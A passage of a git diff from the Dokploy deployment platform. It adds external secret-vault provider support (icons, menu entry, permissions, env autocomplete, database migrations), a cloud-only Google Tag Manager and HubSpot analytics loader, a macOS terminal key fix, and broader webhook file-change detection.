+			d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
+			fill="url(#paint27_radial_1068_18455)"
+			fill-opacity="0.1"
+		/>
+		<defs>
+			<linearGradient
+				id="paint0_linear_1068_18455"
+				x1="7.23327"
+				y1="62.3326"
+				x2="48.1235"
+				y2="30.169"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#FF9EFA" />
+				<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
+				<stop offset="1" stopColor="#6B13F5" />
+			</linearGradient>
+			<linearGradient
+				id="paint1_linear_1068_18455"
+				x1="55.6034"
+				y1="45.8768"
+				x2="41.1422"
+				y2="93.9976"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#A73394" stopOpacity="0" />
+				<stop offset="1" stopColor="#6B13F5" />
+			</linearGradient>
+			<linearGradient
+				id="paint2_linear_1068_18455"
+				x1="84.0271"
+				y1="87.0164"
+				x2="39.3969"
+				y2="54.6034"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0.385417" stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="paint3_linear_1068_18455"
+				x1="25.9331"
+				y1="4.73728"
+				x2="29.9223"
+				y2="37.8983"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0.182292" stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="paint4_linear_1068_18455"
+				x1="64.5793"
+				y1="35.9036"
+				x2="37.6516"
+				y2="52.3594"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#E46373" stopOpacity="0" />
+			</linearGradient>
+			<radialGradient
+				id="paint5_radial_1068_18455"
+				cx="0"
+				cy="0"
+				r="1"
+				gradientUnits="userSpaceOnUse"
+				gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
+			>
+				<stop stopColor="#F55C15" stopOpacity="0.46" />
+				<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
+			</radialGradient>
+			<radialGradient
+				id="paint6_radial_1068_18455"
+				cx="0"
+				cy="0"
+				r="1"
+				gradientUnits="userSpaceOnUse"
+				gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
+			>
+				<stop stopColor="#FF9EFA" />
+				<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
+			</radialGradient>
+			<linearGradient
+				id="paint7_linear_1068_18455"
+				x1="7.23327"
+				y1="62.3326"
+				x2="48.1235"
+				y2="30.169"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#FF9EFA" />
+				<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
+				<stop offset="1" stopColor="#6B13F5" />
+			</linearGradient>
+			<linearGradient
+				id="paint8_linear_1068_18455"
+				x1="55.6034"
+				y1="45.8768"
+				x2="41.1422"
+				y2="93.9976"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#A73394" stopOpacity="0" />
+				<stop offset="1" stopColor="#6B13F5" />
+			</linearGradient>
+			<linearGradient
+				id="paint9_linear_1068_18455"
+				x1="84.0271"
+				y1="87.0164"
+				x2="39.3969"
+				y2="54.6034"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0.385417" stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="paint10_linear_1068_18455"
+				x1="25.9331"
+				y1="4.73728"
+				x2="29.9223"
+				y2="37.8983"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0.182292" stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="paint11_linear_1068_18455"
+				x1="64.5793"
+				y1="35.9036"
+				x2="37.6516"
+				y2="52.3594"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#E46373" stopOpacity="0" />
+			</linearGradient>
+			<radialGradient
+				id="paint12_radial_1068_18455"
+				cx="0"
+				cy="0"
+				r="1"
+				gradientUnits="userSpaceOnUse"
+				gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
+			>
+				<stop stopColor="#F55C15" stopOpacity="0.46" />
+				<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
+			</radialGradient>
+			<radialGradient
+				id="paint13_radial_1068_18455"
+				cx="0"
+				cy="0"
+				r="1"
+				gradientUnits="userSpaceOnUse"
+				gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
+			>
+				<stop stopColor="#FF9EFA" />
+				<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
+			</radialGradient>
+			<linearGradient
+				id="paint14_linear_1068_18455"
+				x1="7.23327"
+				y1="62.3326"
+				x2="48.1235"
+				y2="30.169"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#FF9EFA" />
+				<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
+				<stop offset="1" stopColor="#6B13F5" />
+			</linearGradient>
+			<linearGradient
+				id="paint15_linear_1068_18455"
+				x1="55.6034"
+				y1="45.8768"
+				x2="41.1422"
+				y2="93.9976"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#A73394" stopOpacity="0" />
+				<stop offset="1" stopColor="#6B13F5" />
+			</linearGradient>
+			<linearGradient
+				id="paint16_linear_1068_18455"
+				x1="84.0271"
+				y1="87.0164"
+				x2="39.3969"
+				y2="54.6034"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0.385417" stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="paint17_linear_1068_18455"
+				x1="25.9331"
+				y1="4.73728"
+				x2="29.9223"
+				y2="37.8983"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0.182292" stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="paint18_linear_1068_18455"
+				x1="64.5793"
+				y1="35.9036"
+				x2="37.6516"
+				y2="52.3594"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#E46373" stopOpacity="0" />
+			</linearGradient>
+			<radialGradient
+				id="paint19_radial_1068_18455"
+				cx="0"
+				cy="0"
+				r="1"
+				gradientUnits="userSpaceOnUse"
+				gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
+			>
+				<stop stopColor="#F55C15" stopOpacity="0.46" />
+				<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
+			</radialGradient>
+			<radialGradient
+				id="paint20_radial_1068_18455"
+				cx="0"
+				cy="0"
+				r="1"
+				gradientUnits="userSpaceOnUse"
+				gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
+			>
+				<stop stopColor="#FF9EFA" />
+				<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
+			</radialGradient>
+			<linearGradient
+				id="paint21_linear_1068_18455"
+				x1="7.23327"
+				y1="62.3326"
+				x2="48.1235"
+				y2="30.169"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#FF9EFA" />
+				<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
+				<stop offset="1" stopColor="#6B13F5" />
+			</linearGradient>
+			<linearGradient
+				id="paint22_linear_1068_18455"
+				x1="55.6034"
+				y1="45.8768"
+				x2="41.1422"
+				y2="93.9976"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#A73394" stopOpacity="0" />
+				<stop offset="1" stopColor="#6B13F5" />
+			</linearGradient>
+			<linearGradient
+				id="paint23_linear_1068_18455"
+				x1="84.0271"
+				y1="87.0164"
+				x2="39.3969"
+				y2="54.6034"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0.385417" stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="paint24_linear_1068_18455"
+				x1="25.9331"
+				y1="4.73728"
+				x2="29.9223"
+				y2="37.8983"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0.182292" stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="paint25_linear_1068_18455"
+				x1="64.5793"
+				y1="35.9036"
+				x2="37.6516"
+				y2="52.3594"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop stopColor="#6B13F5" />
+				<stop offset="1" stopColor="#E46373" stopOpacity="0" />
+			</linearGradient>
+			<radialGradient
+				id="paint26_radial_1068_18455"
+				cx="0"
+				cy="0"
+				r="1"
+				gradientUnits="userSpaceOnUse"
+				gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
+			>
+				<stop stopColor="#F55C15" stopOpacity="0.46" />
+				<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
+			</radialGradient>
+			<radialGradient
+				id="paint27_radial_1068_18455"
+				cx="0"
+				cy="0"
+				r="1"
+				gradientUnits="userSpaceOnUse"
+				gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
+			>
+				<stop stopColor="#FF9EFA" />
+				<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
+			</radialGradient>
+		</defs>
+	</svg>
+);
+
+export const AzureIcon = ({ className }: Props) => (
+	<svg
+		viewBox="0 0 96 96"
+		fill="none"
+		xmlns="http://www.w3.org/2000/svg"
+		className={className}
+	>
+		<defs>
+			<linearGradient
+				id="a"
+				x1="-1032.17"
+				x2="-1059.21"
+				y1="145.31"
+				y2="65.43"
+				gradientTransform="matrix(1 0 0 -1 1075 158)"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0" stopColor="#114a8b" />
+				<stop offset="1" stopColor="#0669bc" />
+			</linearGradient>
+			<linearGradient
+				id="b"
+				x1="-1023.73"
+				x2="-1029.98"
+				y1="108.08"
+				y2="105.97"
+				gradientTransform="matrix(1 0 0 -1 1075 158)"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0" stopOpacity=".3" />
+				<stop offset=".07" stopOpacity=".2" />
+				<stop offset=".32" stopOpacity=".1" />
+				<stop offset=".62" stopOpacity=".05" />
+				<stop offset="1" stopOpacity="0" />
+			</linearGradient>
+			<linearGradient
+				id="c"
+				x1="-1027.16"
+				x2="-997.48"
+				y1="147.64"
+				y2="68.56"
+				gradientTransform="matrix(1 0 0 -1 1075 158)"
+				gradientUnits="userSpaceOnUse"
+			>
+				<stop offset="0" stopColor="#3ccbf4" />
+				<stop offset="1" stopColor="#2892df" />
+			</linearGradient>
+		</defs>
+		<path
+			fill="url(#a)"
+			d="M33.34 6.54h26.04l-27.03 80.1a4.15 4.15 0 0 1-3.94 2.81H8.15a4.14 4.14 0 0 1-3.93-5.47L29.4 9.38a4.15 4.15 0 0 1 3.94-2.83z"
+		/>
+		<path
+			fill="#0078d4"
+			d="M71.17 60.26H29.88a1.91 1.91 0 0 0-1.3 3.31l26.53 24.76a4.17 4.17 0 0 0 2.85 1.13h23.38z"
+		/>
+		<path
+			fill="url(#b)"
+			d="M33.34 6.54a4.12 4.12 0 0 0-3.95 2.88L4.25 83.92a4.14 4.14 0 0 0 3.91 5.54h20.79a4.44 4.44 0 0 0 3.4-2.9l5.02-14.78 17.91 16.7a4.24 4.24 0 0 0 2.67.97h23.29L71.02 60.26H41.24L59.47 6.55z"
+		/>
+		<path
+			fill="url(#c)"
+			d="M66.6 9.36a4.14 4.14 0 0 0-3.93-2.82H33.65a4.15 4.15 0 0 1 3.93 2.82l25.18 74.62a4.15 4.15 0 0 1-3.93 5.48h29.02a4.15 4.15 0 0 0 3.93-5.48z"
+		/>
+	</svg>
+);
+
+export const vaultProviderIcons = {
+	hashicorp: HashicorpVaultIcon,
+	infisical: InfisicalIcon,
+	aws: AwsIcon,
+	doppler: DopplerIcon,
+	azure: AzureIcon,
+} as const;

apps/dokploy/components/layouts/side.tsx

@@ -25,10 +25,8 @@ import {
 	Loader2,
 	LogIn,
 	type LucideIcon,
-	Network,
 	Package,
 	Palette,
-	PieChart,
 	Rocket,
 	Server,
 	ShieldCheck,
@@ -37,6 +35,7 @@ import {
 	Trash2,
 	User,
 	Users,
+	Vault,
 } from "lucide-react";
 import Link from "next/link";
 import { usePathname } from "next/navigation";
@@ -202,28 +201,6 @@ const MENU: Menu = {
 			// Only enabled for users with access to Docker
 			isEnabled: ({ permissions }) => !!permissions?.docker.read,
 		},
-		{
-			isSingle: true,
-			title: "Swarm",
-			url: "/dashboard/swarm",
-			icon: PieChart,
-			// Only enabled for users with access to Docker
-			isEnabled: ({ permissions }) => !!permissions?.docker.read,
-		},
-		{
-			isSingle: true,
-			title: "Networks",
-			url: "/dashboard/networks",
-			icon: Network,
-			// Only enabled for admins and users with access to Docker in non-cloud environments
-			isEnabled: ({ auth, isCloud }) =>
-				!!(
-					(auth?.role === "owner" ||
-						auth?.role === "admin" ||
-						auth?.canAccessToDocker) &&
-					!isCloud
-				),
-		},
 		{
 			isSingle: true,
 			title: "Requests",
@@ -374,6 +351,13 @@ const MENU: Menu = {
 			icon: Package,
 			isEnabled: ({ permissions }) => !!permissions?.registry.read,
 		},
+		{
+			isSingle: true,
+			title: "Secrets",
+			url: "/dashboard/settings/secrets",
+			icon: Vault,
+			isEnabled: ({ permissions }) => !!permissions?.vaultProvider.create,
+		},
 		{
 			isSingle: true,
 			title: "S3 Destinations",

apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx

@@ -163,6 +163,11 @@ const RESOURCE_META: Record<string, { label: string; description: string }> = {
 		label: "Audit Logs",
 		description: "View the audit log of actions performed in the organization",
 	},
+	vaultProvider: {
+		label: "Secrets Providers",
+		description:
+			"Manage external secret managers (HashiCorp Vault, AWS, Azure, Infisical, Doppler) and where their secrets can be referenced",
+	},
 };
 
 /** Descriptions for each action within a resource */
@@ -419,6 +424,22 @@ const ACTION_META: Record<
 	auditLog: {
 		read: { label: "Read", description: "View the audit log history" },
 	},
+	vaultProvider: {
+		read: {
+			label: "Read",
+			description: "View providers and secret names for env autocomplete",
+		},
+		create: {
+			label: "Create",
+			description: "Connect new secret providers and test their connection",
+		},
+		update: {
+			label: "Update",
+			description:
+				"Edit provider credentials and project/environment assignments",
+		},
+		delete: { label: "Delete", description: "Remove secret providers" },
+	},
 };
 
 /** Resources that should be hidden from the custom role editor (better-auth internals) */

apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx

@@ -1,24 +1,32 @@
 "use client";
 
 import Head from "next/head";
+import { useTheme } from "next-themes";
 import { api } from "@/utils/api";
 
 export function WhitelabelingProvider() {
+	const { resolvedTheme } = useTheme();
 	const { data: config } = api.whitelabeling.getPublic.useQuery(undefined, {
 		staleTime: 5 * 60 * 1000,
 		refetchOnWindowFocus: false,
 	});
 
-	if (!config) return null;
+	const faviconHref =
+		config?.faviconUrl ??
+		(resolvedTheme === "dark"
+			? "/icon-dark.svg"
+			: resolvedTheme === "light"
+				? "/icon-light.svg"
+				: "/icon.svg");
 
 	return (
 		<>
 			<Head>
-				{config.metaTitle && <title>{config.metaTitle}</title>}
-				{config.faviconUrl && <link rel="icon" href={config.faviconUrl} />}
+				{config?.metaTitle && <title>{config.metaTitle}</title>}
+				<link rel="icon" href={faviconHref} key="app-favicon" />
 			</Head>
 
-			{config.customCss && (
+			{config?.customCss && (
 				<style
 					id="whitelabeling-styles"
 					dangerouslySetInnerHTML={{

apps/dokploy/components/shared/analytics.tsx

@@ -0,0 +1,86 @@
+import { useRouter } from "next/router";
+import Script from "next/script";
+import { useEffect } from "react";
+import { GTM_ID, pushToDataLayer } from "@/lib/analytics";
+import { api } from "@/utils/api";
+
+/**
+ * Loads Google Tag Manager and the HubSpot marketing tag on the cloud
+ * version only, and translates tracking query params appended by the
+ * auth/billing flows (?signup=..., ?subscription=new) into dataLayer events.
+ */
+export const Analytics = () => {
+	const router = useRouter();
+	const { data: isCloud } = api.settings.isCloud.useQuery();
+
+	useEffect(() => {
+		if (!isCloud || !router.isReady) {
+			return;
+		}
+		const { signup, subscription, tier, ...rest } = router.query;
+
+		if (typeof signup === "string" && signup.length > 0) {
+			pushToDataLayer("sign_up", { method: signup });
+		}
+		if (subscription === "new") {
+			pushToDataLayer("new_subscription", {
+				...(typeof tier === "string" ? { tier } : {}),
+			});
+		}
+		if (signup !== undefined || subscription !== undefined) {
+			router.replace({ pathname: router.pathname, query: rest }, undefined, {
+				shallow: true,
+			});
+		}
+	}, [isCloud, router.isReady, router.query, router.pathname, router.replace]);
+
+	if (!isCloud) {
+		return null;
+	}
+
+	return (
+		<>
+			<Script id="analytics-init" strategy="afterInteractive">
+				{`
+					window.hsConversationsSettings = { loadImmediately: false };
+					(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+					new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+					j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+					'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+					})(window,document,'script','dataLayer','${GTM_ID}');
+				`}
+			</Script>
+			<Script
+				id="hs-script-loader"
+				type="text/javascript"
+				src="//js-eu1.hs-scripts.com/147033433.js"
+				strategy="lazyOnload"
+				async
+				defer
+			/>
+		</>
+	);
+};
+
+/**
+ * The HubSpot script is loaded app-wide for marketing tracking, but the
+ * conversations (chat) widget stays restricted to startup plan customers.
+ */
+export const useHubSpotChat = (enabled: boolean) => {
+	useEffect(() => {
+		if (!enabled) {
+			return;
+		}
+		const loadWidget = () => {
+			window.HubSpotConversations?.widget.load();
+		};
+		if (window.HubSpotConversations) {
+			loadWidget();
+		} else {
+			window.hsConversationsOnReady = [
+				...(window.hsConversationsOnReady || []),
+				loadWidget,
+			];
+		}
+	}, [enabled]);
+};

apps/dokploy/components/shared/code-editor.tsx

@@ -3,6 +3,7 @@ import {
 	type Completion,
 	type CompletionContext,
 	type CompletionResult,
+	type CompletionSource,
 } from "@codemirror/autocomplete";
 import { css } from "@codemirror/lang-css";
 import { json } from "@codemirror/lang-json";
@@ -135,6 +136,7 @@ interface Props extends ReactCodeMirrorProps {
 	language?: "yaml" | "json" | "properties" | "shell" | "css";
 	lineWrapping?: boolean;
 	lineNumbers?: boolean;
+	completionSource?: CompletionSource;
 }
 
 export const CodeEditor = ({
@@ -142,6 +144,7 @@ export const CodeEditor = ({
 	wrapperClassName,
 	language = "yaml",
 	lineNumbers = true,
+	completionSource,
 	...props
 }: Props) => {
 	const { resolvedTheme } = useTheme();
@@ -175,11 +178,15 @@ export const CodeEditor = ({
 											languageData: { commentTokens: { line: "#" } },
 										}),
 					props.lineWrapping ? EditorView.lineWrapping : [],
-					language === "yaml"
+					completionSource
 						? autocompletion({
-								override: [dockerComposeComplete],
+								override: [completionSource],
 							})
-						: [],
+						: language === "yaml"
+							? autocompletion({
+									override: [dockerComposeComplete],
+								})
+							: [],
 				]}
 				{...props}
 				editable={!props.disabled}

apps/dokploy/components/shared/env-autocomplete.ts

@@ -0,0 +1,193 @@
+import {
+	type Completion,
+	type CompletionContext,
+	type CompletionResult,
+	startCompletion,
+} from "@codemirror/autocomplete";
+import type { EditorView } from "@codemirror/view";
+import { useCallback } from "react";
+import { api } from "@/utils/api";
+
+interface Options {
+	projectEnv?: string | null;
+	environmentEnv?: string | null;
+	includeShared?: boolean;
+	projectId?: string;
+	environmentId?: string;
+}
+
+const parseKeys = (env?: string | null) =>
+	(env ?? "")
+		.split("\n")
+		.map((line) => line.trim())
+		.filter((line) => line && !line.startsWith("#") && line.includes("="))
+		.map((line) => line.slice(0, line.indexOf("=")).trim())
+		.filter((key) => /^[A-Za-z_][A-Za-z0-9_]*$/.test(key));
+
+const applyAndContinue = (
+	view: EditorView,
+	completion: Completion,
+	from: number,
+	to: number,
+) => {
+	view.dispatch({
+		changes: { from, to, insert: completion.label },
+		selection: { anchor: from + completion.label.length },
+	});
+	startCompletion(view);
+};
+
+const applyAndClose = (
+	view: EditorView,
+	completion: Completion,
+	from: number,
+	to: number,
+) => {
+	const alreadyClosed = view.state.sliceDoc(to, to + 2) === "}}";
+	const insert = completion.label + (alreadyClosed ? "" : "}}");
+	view.dispatch({
+		changes: { from, to, insert },
+		selection: {
+			anchor: from + completion.label.length + 2,
+		},
+	});
+};
+
+export const useEnvCompletionSource = ({
+	projectEnv,
+	environmentEnv,
+	includeShared = true,
+	projectId,
+	environmentId,
+}: Options = {}) => {
+	const { data: allProviders } = api.vaultProvider.all.useQuery();
+	const utils = api.useUtils();
+	const providers = projectId
+		? allProviders?.filter((provider) =>
+				provider.assignments?.some(
+					(assignment) =>
+						assignment.projectId === projectId &&
+						(assignment.environmentIds.length === 0 ||
+							!environmentId ||
+							assignment.environmentIds.includes(environmentId)),
+				),
+			)
+		: [];
+
+	return useCallback(
+		async (context: CompletionContext): Promise<CompletionResult | null> => {
+			const match = context.matchBefore(/\$\{\{[^}\n]*$/);
+			if (!match) return null;
+
+			const inner = match.text.slice(3);
+			const innerFrom = match.from + 3;
+
+			const vaultSecret = /^vault\.([a-zA-Z0-9_-]+)\.([^}\n]*)$/.exec(inner);
+			if (vaultSecret) {
+				const provider = providers?.find((p) => p.name === vaultSecret[1]);
+				if (!provider || !projectId) return null;
+				const names = await utils.vaultProvider.listSecretNames
+					.fetch({
+						vaultProviderId: provider.vaultProviderId,
+						projectId,
+						environmentId,
+					})
+					.catch(() => [] as string[]);
+				return {
+					from: innerFrom + `vault.${vaultSecret[1]}.`.length,
+					options: names.map((name) => ({
+						label: name,
+						type: "variable",
+						apply: applyAndClose,
+					})),
+					validFor: /^[^}\n]*$/,
+				};
+			}
+
+			const vaultProviderPrefix = /^vault\.([a-zA-Z0-9_-]*)$/.exec(inner);
+			if (vaultProviderPrefix) {
+				return {
+					from: innerFrom + "vault.".length,
+					options: (providers ?? []).map((provider) => ({
+						label: `${provider.name}.`,
+						detail: provider.providerType,
+						type: "namespace",
+						apply: applyAndContinue,
+					})),
+					validFor: /^[a-zA-Z0-9_-]*$/,
+				};
+			}
+
+			if (includeShared) {
+				const shared: [RegExp, string, string | null | undefined][] = [
+					[/^project\.([^}\n]*)$/, "project.", projectEnv],
+					[/^environment\.([^}\n]*)$/, "environment.", environmentEnv],
+				];
+				for (const [regex, prefix, env] of shared) {
+					if (regex.test(inner)) {
+						return {
+							from: innerFrom + prefix.length,
+							options: parseKeys(env).map((key) => ({
+								label: key,
+								type: "variable",
+								apply: applyAndClose,
+							})),
+							validFor: /^[A-Za-z0-9_]*$/,
+						};
+					}
+				}
+			}
+
+			if (!inner.includes(".")) {
+				const options: Completion[] = [];
+				if (includeShared) {
+					options.push(
+						{
+							label: "project.",
+							type: "namespace",
+							info: "Shared project variables",
+							apply: applyAndContinue,
+						},
+						{
+							label: "environment.",
+							type: "namespace",
+							info: "Shared environment variables",
+							apply: applyAndContinue,
+						},
+					);
+				}
+				options.push({
+					label: "vault.",
+					type: "namespace",
+					info: "Secrets from an external vault provider",
+					apply: applyAndContinue,
+				});
+				if (includeShared) {
+					for (const key of parseKeys(context.state.doc.toString())) {
+						options.push({
+							label: key,
+							type: "variable",
+							apply: applyAndClose,
+						});
+					}
+				}
+				return {
+					from: innerFrom,
+					options,
+					validFor: /^[A-Za-z0-9_.-]*$/,
+				};
+			}
+
+			return null;
+		},
+		[
+			providers,
+			projectEnv,
+			environmentEnv,
+			includeShared,
+			projectId,
+			environmentId,
+			utils,
+		],
+	);
+};

apps/dokploy/components/ui/secrets.tsx

@@ -1,3 +1,4 @@
+import type { CompletionSource } from "@codemirror/autocomplete";
 import { EyeIcon, EyeOffIcon } from "lucide-react";
 import { type CSSProperties, type ReactNode, useState } from "react";
 import { useFormContext } from "react-hook-form";
@@ -21,6 +22,7 @@ interface Props {
 	title: string;
 	description: ReactNode;
 	placeholder: string;
+	completionSource?: CompletionSource;
 }
 
 export const Secrets = (props: Props) => {
@@ -61,6 +63,7 @@ export const Secrets = (props: Props) => {
 										} as CSSProperties
 									}
 									language="properties"
+									completionSource={props.completionSource}
 									disabled={isVisible}
 									lineWrapping
 									placeholder={props.placeholder}

apps/dokploy/drizzle/0179_foamy_marauders.sql

@@ -0,0 +1 @@
+ALTER TABLE "github" ADD COLUMN "githubUrl" text DEFAULT 'https://github.com' NOT NULL;

apps/dokploy/drizzle/0180_slippery_norrin_radd.sql

@@ -0,0 +1 @@
+ALTER TABLE "compose" ADD COLUMN "createEnvFile" boolean DEFAULT true NOT NULL;

apps/dokploy/drizzle/0181_dashing_havok.sql

@@ -0,0 +1,13 @@
+CREATE TYPE "public"."VaultProviderType" AS ENUM('hashicorp', 'infisical', 'aws', 'doppler', 'azure');--> statement-breakpoint
+CREATE TABLE "vault_provider" (
+	"vaultProviderId" text PRIMARY KEY NOT NULL,
+	"name" text NOT NULL,
+	"providerType" "VaultProviderType" NOT NULL,
+	"config" jsonb NOT NULL,
+	"assignments" jsonb DEFAULT '[]'::jsonb NOT NULL,
+	"organizationId" text NOT NULL,
+	"createdAt" text NOT NULL
+);
+--> statement-breakpoint
+ALTER TABLE "vault_provider" ADD CONSTRAINT "vault_provider_organizationId_organization_id_fk" FOREIGN KEY ("organizationId") REFERENCES "public"."organization"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
+CREATE UNIQUE INDEX "vault_provider_org_name_idx" ON "vault_provider" USING btree ("organizationId","name");

apps/dokploy/drizzle/0182_marvelous_katie_power.sql

@@ -0,0 +1 @@
+ALTER TABLE "domain" ADD COLUMN "enabled" boolean DEFAULT true NOT NULL;

apps/dokploy/drizzle/meta/_journal.json

@@ -1254,6 +1254,34 @@
       "when": 1785751631838,
       "tag": "0178_silky_randall",
       "breakpoints": true
+    },
+    {
+      "idx": 179,
+      "version": "7",
+      "when": 1785800152143,
+      "tag": "0179_foamy_marauders",
+      "breakpoints": true
+    },
+    {
+      "idx": 180,
+      "version": "7",
+      "when": 1786132623336,
+      "tag": "0180_slippery_norrin_radd",
+      "breakpoints": true
+    },
+    {
+      "idx": 181,
+      "version": "7",
+      "when": 1786400712839,
+      "tag": "0181_dashing_havok",
+      "breakpoints": true
+    },
+    {
+      "idx": 182,
+      "version": "7",
+      "when": 1786414903383,
+      "tag": "0182_marvelous_katie_power",
+      "breakpoints": true
     }
   ]
 }

apps/dokploy/lib/analytics.ts

@@ -0,0 +1,28 @@
+declare global {
+	interface Window {
+		dataLayer?: Record<string, unknown>[];
+		hsConversationsSettings?: {
+			loadImmediately?: boolean;
+		};
+		hsConversationsOnReady?: (() => void)[];
+		HubSpotConversations?: {
+			widget: {
+				load: () => void;
+				remove: () => void;
+			};
+		};
+	}
+}
+
+export const GTM_ID = "GTM-PWBFB2V2";
+
+export const pushToDataLayer = (
+	event: string,
+	data: Record<string, unknown> = {},
+) => {
+	if (typeof window === "undefined") {
+		return;
+	}
+	window.dataLayer = window.dataLayer || [];
+	window.dataLayer.push({ event, ...data });
+};

apps/dokploy/lib/terminal-keyboard.ts

@@ -0,0 +1,25 @@
+import type { Terminal } from "@xterm/xterm";
+
+// xterm's platform detection mistakes the bundled Next.js `process` polyfill
+// for Node.js, so it never treats Option/Alt as third-level shift on macOS and
+// swallows composed characters like Option+L (@ on German layouts).
+// https://github.com/Dokploy/dokploy/issues/4297
+export const fixMacOsAltKeys = (term: Terminal) => {
+	if (!/Mac/.test(navigator.platform)) {
+		return;
+	}
+	term.attachCustomKeyEventHandler((event) => {
+		if (
+			event.type === "keydown" &&
+			event.altKey &&
+			!event.ctrlKey &&
+			!event.metaKey &&
+			event.key.length === 1
+		) {
+			event.preventDefault();
+			term.input(event.key);
+			return false;
+		}
+		return true;
+	});
+};

apps/dokploy/package.json

@@ -1,6 +1,6 @@
 {
 	"name": "dokploy",
-	"version": "v0.29.13",
+	"version": "v0.29.14",
 	"private": true,
 	"license": "Apache-2.0",
 	"type": "module",
@@ -40,6 +40,7 @@
 		"generate:openapi": "tsx -r dotenv/config scripts/generate-openapi.ts"
 	},
 	"dependencies": {
+		"@aws-sdk/client-secrets-manager": "^3.1097.0",
 		"@ai-sdk/anthropic": "^3.0.44",
 		"@ai-sdk/azure": "^3.0.30",
 		"@ai-sdk/cohere": "^3.0.21",

apps/dokploy/pages/api/deploy/[refreshToken].ts

@@ -119,9 +119,11 @@ export default async function handler(
 			}
 			// If webhook doesn't provide image info, we'll use the configured image (old behavior)
 		} else if (sourceType === "github") {
-			const normalizedCommits = req.body?.commits?.flatMap(
-				(commit: any) => commit.modified,
-			);
+			const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+				...(commit.added || []),
+				...(commit.modified || []),
+				...(commit.removed || []),
+			]);
 
 			const shouldDeployPaths = shouldDeploy(
 				application.watchPaths,
@@ -150,21 +152,29 @@ export default async function handler(
 			let normalizedCommits: string[] = [];
 
 			if (provider === "github") {
-				normalizedCommits = req.body?.commits?.flatMap(
-					(commit: any) => commit.modified,
-				);
+				normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+					...(commit.added || []),
